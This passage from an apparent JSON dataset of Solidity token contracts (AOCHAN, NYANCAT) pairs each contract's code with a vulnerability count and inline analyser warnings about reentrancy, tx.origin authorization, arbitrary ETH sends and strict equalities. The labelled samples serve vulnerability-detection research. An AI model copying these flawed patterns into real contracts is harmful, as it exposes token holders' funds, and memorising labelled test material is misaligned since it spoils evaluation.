owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2d36eda\n\t\t// unused-return | ID: 5de3bfd\n\t\t// reentrancy-eth | ID: ac7705d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2d36eda\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ac7705d\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10089.sol",
"size_bytes": 21998,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AOCHAN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => uint256) private _tradeHistory;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2458912): AOCHAN._taxWallet should be immutable \n\t// Recommendation for 2458912: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private _lastSwap = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84e1ba4): AOCHAN._noSecondSwap should be constant \n\t// Recommendation for 84e1ba4: Add the 'constant' attribute to state variables that never change.\n bool private _noSecondSwap = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 41d6c6d): AOCHAN._initialBuyTax should be constant \n\t// Recommendation for 41d6c6d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 606a9de): AOCHAN._initialSellTax should be constant \n\t// Recommendation for 606a9de: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08a6920): AOCHAN._finalBuyTax should be constant \n\t// Recommendation for 08a6920: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 75eff03): AOCHAN._finalSellTax should be constant \n\t// Recommendation for 75eff03: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53c249f): AOCHAN._reduceBuyTaxAt should be constant \n\t// Recommendation for 53c249f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a70df0): AOCHAN._reduceSellTaxAt should be constant \n\t// Recommendation for 2a70df0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8a361c5): AOCHAN._noSwapBefore should be constant \n\t// Recommendation for 8a361c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _noSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 10;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"AO-CHAN\";\n\n string private constant _symbol = unicode\"AOCHAN\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45d3b73): AOCHAN._taxSwapThreshold should be constant \n\t// Recommendation for 45d3b73: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d124a35): AOCHAN._maxTaxSwap should be constant \n\t// Recommendation for d124a35: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private _uniswapRouter;\n\n address private _uniswapPair;\n\n bool private _tradingOpen;\n\n bool private _inSwap = false;\n\n bool private _swapEnabled = false;\n\n bool private liquidityCreated = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n _inSwap = true;\n\n _;\n\n _inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _totalSupply;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2a03479): AOCHAN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2a03479: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7d3eca5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7d3eca5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 11ae77b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 11ae77b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7d3eca5\n\t\t// reentrancy-benign | ID: 11ae77b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7d3eca5\n\t\t// reentrancy-benign | ID: 11ae77b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e5a1ea8): AOCHAN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e5a1ea8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 11ae77b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7d3eca5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 691e51d): AOCHAN._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _tradeHistory[from] == block.timestamp || _tradeHistory[from] == 0\n\t// Recommendation for 691e51d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8bace7a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8bace7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: eb4b9a2): AOCHAN._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for eb4b9a2: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 0bc2ef8): AOCHAN._transfer(address,address,uint256) uses a dangerous strict equality _noSecondSwap && _lastSwap == block.number\n\t// Recommendation for 0bc2ef8: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 4102961): AOCHAN._transfer(address,address,uint256) uses a dangerous strict equality _tradeHistory[from] == block.timestamp || _tradeHistory[from] == 0\n\t// Recommendation for 4102961: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b0c77a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b0c77a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n bool shouldSwap = true;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount.mul((_tradingOpen) ? 0 : _initialBuyTax).div(\n 100\n );\n\n if (transferDelayEnabled) {\n if (\n to != address(_uniswapRouter) && to != address(_uniswapPair)\n ) {\n\t\t\t\t\t// tx-origin | ID: eb4b9a2\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == _uniswapPair &&\n to != address(_uniswapRouter) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _noSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n\n _tradeHistory[to] = block.timestamp;\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (to == _uniswapPair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n if (\n\t\t\t\t\t// timestamp | ID: 691e51d\n\t\t\t\t\t// incorrect-equality | ID: 4102961\n _tradeHistory[from] == block.timestamp ||\n _tradeHistory[from] == 0\n ) {\n shouldSwap = false;\n }\n\n\t\t\t\t// incorrect-equality | ID: 0bc2ef8\n if (_noSecondSwap && _lastSwap == block.number) {\n shouldSwap = false;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !_inSwap &&\n to == _uniswapPair &&\n _swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _noSwapBefore &&\n shouldSwap\n ) {\n\t\t\t\t// reentrancy-events | ID: 8bace7a\n\t\t\t\t// reentrancy-eth | ID: b0c77a1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8bace7a\n\t\t\t\t\t// reentrancy-eth | ID: b0c77a1\n sendETHToFee(address(this).balance);\n\n\t\t\t\t\t// reentrancy-eth | ID: b0c77a1\n _lastSwap = block.number;\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b0c77a1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8bace7a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b0c77a1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b0c77a1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8bace7a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!_tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n _approve(address(this), address(_uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7d3eca5\n\t\t// reentrancy-events | ID: 8bace7a\n\t\t// reentrancy-benign | ID: 11ae77b\n\t\t// reentrancy-eth | ID: b0c77a1\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _totalSupply;\n\n _maxWalletSize = _totalSupply;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_totalSupply);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 30da9dc): AOCHAN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 30da9dc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7d3eca5\n\t\t// reentrancy-events | ID: 8bace7a\n\t\t// reentrancy-eth | ID: b0c77a1\n\t\t// arbitrary-send-eth | ID: 30da9dc\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4ae8000): AOCHAN.createLiquidity() ignores return value by _uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4ae8000: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: adbcbfb): AOCHAN.createLiquidity() ignores return value by IERC20(_uniswapPair).approve(address(_uniswapRouter),type()(uint256).max)\n\t// Recommendation for adbcbfb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5573220): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5573220: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createLiquidity() external payable onlyOwner {\n require(!_tradingOpen, \"Trading is already open\");\n\n require(!liquidityCreated, \"Liquidity created\");\n\n _uniswapRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(_uniswapRouter), _totalSupply);\n\n IUniswapV2Factory factory = IUniswapV2Factory(_uniswapRouter.factory());\n\n _uniswapPair = factory.getPair(address(this), _uniswapRouter.WETH());\n\n if (_uniswapPair == address(0x0)) {\n\t\t\t// reentrancy-eth | ID: 5573220\n _uniswapPair = factory.createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n }\n\n\t\t// unused-return | ID: 4ae8000\n\t\t// reentrancy-eth | ID: 5573220\n _uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: adbcbfb\n\t\t// reentrancy-eth | ID: 5573220\n IERC20(_uniswapPair).approve(address(_uniswapRouter), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 5573220\n liquidityCreated = true;\n }\n\n function openTrading() external onlyOwner {\n _swapEnabled = true;\n\n _tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1009.sol",
"size_bytes": 22322,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract NYANCAT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ea61046): NYANCAT._taxWallet should be immutable \n\t// Recommendation for ea61046: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7bc90d6): NYANCAT._initialBuyTax should be constant \n\t// Recommendation for 7bc90d6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d8c6a3): NYANCAT._initialSellTax should be constant \n\t// Recommendation for 5d8c6a3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1ab2cb): NYANCAT._reduceBuyTaxAt should be constant \n\t// Recommendation for a1ab2cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: dcad259): NYANCAT._reduceSellTaxAt should be constant \n\t// Recommendation for dcad259: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 169517e): NYANCAT._preventSwapBefore should be constant \n\t// Recommendation for 169517e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"NyancatWifhat\";\n\n string private constant _symbol = unicode\"NYANCAT\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 046b301): NYANCAT._taxSwapThreshold should be constant \n\t// Recommendation for 046b301: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f6fe57): NYANCAT._maxTaxSwap should be constant \n\t// Recommendation for 1f6fe57: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e7dd421): NYANCAT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e7dd421: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a739d84): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a739d84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fd48ee1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fd48ee1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a739d84\n\t\t// reentrancy-benign | ID: fd48ee1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a739d84\n\t\t// reentrancy-benign | ID: fd48ee1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af5a174): NYANCAT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for af5a174: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: fd48ee1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a739d84\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e2b6f6c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e2b6f6c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 31c3149): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 31c3149: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the 